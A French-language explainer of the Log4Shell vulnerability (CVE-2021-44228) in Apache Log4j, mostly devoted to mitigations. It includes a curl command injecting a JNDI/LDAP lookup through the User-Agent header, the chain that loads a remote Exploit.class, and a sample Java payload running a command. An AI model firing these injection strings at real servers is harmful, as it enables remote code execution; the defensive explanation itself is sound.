CVE-2021-44228 et Apache Log4j
Contexte
Le 9 décembre, une vulnérabilité a été annoncée publiquement. La faille a été découverte par Chen Zhaojun de l’équipe Securité de Alibaba Cloud. Les versions concernées de la version 2.0-beta9 à 2.14.1.
La faille utilise la fonctionnalité de Lookups
de Log4J. C’est la capacité d’ajouter des informations dans les messages des journaux. Voici la liste complète. Celle qui nous intéresse est celle utilisant les capacité de JNDI.
<File name="Application" fileName="application.log">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
</PatternLayout>
</File>
Le principe de l’attaque est de détourner cette fonctionnalité afin d’appeler un serveur LDAP corrompu. Pourquoi ? car il est possible d’exécuter du code Java. Cela explique la gravité de cette faille car du code arbitraire peut être exécutée à distance.
Pour cela, il suffit que l’application affiche dans les journaux des informations provenant de la requête. Par exemple, l’en-tête 'User-Agent'
String userAgent = he.getRequestHeaders().getFirst("user-agent");
log.info("Request user-agent: {}", userAgent);
Et c’est là, que la personne malveillante peut construire une chaine maveillante de ce type :
curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/....}'
-
127.0.0.1:8500 : Serveur cible de mon attaque
-
127.0.0.1:1389 : Serveur LDAP corrompu
Ainsi, cela sera le code suivant qui sera exécuté:
log.info("Request user-agent: ${jndi:ldap://127.0.0.1:1389/....}";
Reprenons, voici les étapes :
-
Les données sont envoyés au serveur (via n’importe quel protocole)
-
Le serveur enregistre dans les journaux le payload malveillant
${jndi:ldap://127.0.0.1:1389/….
-
Lo4j va appeler l’annuaire LDAP corrompu
127.0.0.1:1389
via JNDI -
La réponse contient un chemin pour récupérer du code malveillant
http://127.0.0.1:8888/Exploit.class
qui sera chargé par le serveur. -
Cela permet l’execution de code arbitraire.
Exemple de payload
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/pwned"); } catch(Exception e) {}
}
}
La commande sera exécutée dès qu’elle est chargé par la JVM.
Solution
La solution est de monter de version la librairie et d’utiliser la version 2.15.0.
Cela n’est peut-être pas simple à changer, notamment si cela concerne un produit utilisant log4j, comme Apache Solr, Elasticsearch, Apache Kafka.
Une liste est maintenue par connaître les produits impactés
Il est intéressant de connaitre des solutions alternatives permettant d’éviter le problème.
Version >= 2.10
Il existe deux solutions :
-
Propriété de la JVM :
-Dlog4j.formatMsgNoLookups=true
-
Variable d’environnement :
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Version < 2.10
Solution un peu radicale. Elle consiste à supprimer la classe JndiLookup
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Cas des JVM récentes
Par défaut, le code arbitraire ne peut pas être chargée pour les versions suivantes :
-
Java 7 : 7u202
-
Java 8 : 8u192
-
Java 11 : 11.0.2
Si vous utilisez une version Java 8 >= 8u121, vous pouvez désactiver le chargement de ce type de code avec les propriétés suivantes :
-
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
Il est à noter que cela n’empêche pas le premier appel au serveur LDAP. Donc, des informations peuvent être soutirées par ce biais.
Moteur de recherche
"Eduquer, ce n'est pas remplir des vases mais c'est d'allumer des feux." - Michel Montaigne